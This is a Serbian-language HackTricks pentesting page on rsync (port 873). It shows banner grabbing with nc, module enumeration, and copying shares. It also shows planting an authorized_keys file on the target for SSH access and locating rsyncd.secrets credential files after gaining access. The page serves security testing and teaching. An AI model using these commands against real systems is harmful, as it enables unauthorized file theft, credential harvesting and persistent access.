# 873 - Pentesting Rsync {{#include ../banners/hacktricks-training.md}} ## **Osnovne informacije** Sa [wikipedia](https://en.wikipedia.org/wiki/Rsync): > **rsync** je alat za efikasno [prenos](https://en.wikipedia.org/wiki/File_transfer) i [sinhronizaciju](https://en.wikipedia.org/wiki/File_synchronization) [fajlova](https://en.wikipedia.org/wiki/Computer_file) između računara i eksternog hard diska i preko [umreženih](https://en.wikipedia.org/wiki/Computer_network) [računara](https://en.wikipedia.org/wiki/Computer) upoređivanjem [vremena izmene]() i veličina fajlova.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite_note-man_page-3) Obično se nalazi na [Unix-like](https://en.wikipedia.org/wiki/Unix-like) [operativnim sistemima](https://en.wikipedia.org/wiki/Operating_system). Rsync algoritam je vrsta [delta kodiranja](https://en.wikipedia.org/wiki/Delta_encoding) i koristi se za minimiziranje korišćenja mreže. [Zlib](https://en.wikipedia.org/wiki/Zlib) se može koristiti za dodatnu [kompresiju podataka](https://en.wikipedia.org/wiki/Data_compression),[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite_note-man_page-3) a [SSH](https://en.wikipedia.org/wiki/Secure_Shell) ili [stunnel](https://en.wikipedia.org/wiki/Stunnel) mogu se koristiti za bezbednost. **Podrazumevani port:** 873 ``` PORT STATE SERVICE REASON 873/tcp open rsync syn-ack ``` ## Enumeracija ### Baner i ručna komunikacija ```bash nc -vn 127.0.0.1 873 (UNKNOWN) [127.0.0.1] 873 (rsync) open @RSYNCD: 31.0 <--- You receive this banner with the version from the server @RSYNCD: 31.0 <--- Then you send the same info #list <--- Then you ask the sever to list raidroot <--- The server starts enumerating USBCopy NAS_Public _NAS_Recycle_TOSRAID <--- Enumeration finished @RSYNCD: EXIT <--- Sever closes the connection #Now lets try to enumerate "raidroot" nc -vn 127.0.0.1 873 (UNKNOWN) [127.0.0.1] 873 (rsync) open @RSYNCD: 31.0 @RSYNCD: 31.0 raidroot @RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password ``` ### **Enumerisanje Deljenih Foldera** **Rsync moduli** se prepoznaju kao **deljenja direktorijuma** koja mogu biti **zaštićena lozinkama**. Da bi se identifikovali dostupni moduli i proverilo da li zahtevaju lozinke, koriste se sledeće komande: ```bash nmap -sV --script "rsync-list-modules" -p msf> use auxiliary/scanner/rsync/modules_list # Example with IPv6 and alternate port rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730 ``` Budite svesni da neki delovi možda neće biti prikazani na listi, što može da ih sakrije. Pored toga, pristup nekim delovima može biti ograničen na specifične **akreditive**, što je označeno porukom **"Pristup odbijen"**. ### [**Brute Force**](../generic-hacking/brute-force.md#rsync) ### Ručna Rsync Upotreba Nakon dobijanja **liste modula**, akcije zavise od toga da li je autentifikacija potrebna. Bez autentifikacije, **listanje** i **kopiranje** fajlova iz deljenog foldera u lokalni direktorijum se postiže kroz: ```bash # Listing a shared folder rsync -av --list-only rsync://192.168.0.123/shared_name # Copying files from a shared folder rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared ``` Ovaj proces **rekurzivno prenosi fajlove**, čuvajući njihove atribute i dozvole. Sa **akreditivima**, listanje i preuzimanje iz zajedničke fascikle može se uraditi na sledeći način, gde će se pojaviti prozor za unos lozinke: ```bash rsync -av --list-only rsync://username@192.168.0.123/shared_name rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared ``` Da **otpremite sadržaj**, kao što je _**authorized_keys**_ datoteka za pristup, koristite: ```bash rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh ``` ## POST Da biste locirali rsyncd konfiguracioni fajl, izvršite: ```bash find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \) ``` U ovom fajlu, parametar _secrets file_ može ukazivati na fajl koji sadrži **korisnička imena i lozinke** za rsyncd autentifikaciju. ## Reference - [https://www.smeegesec.com/2016/12/pentesting-rsync.html](https://www.smeegesec.com/2016/12/pentesting-rsync.html) {{#include ../banners/hacktricks-training.md}}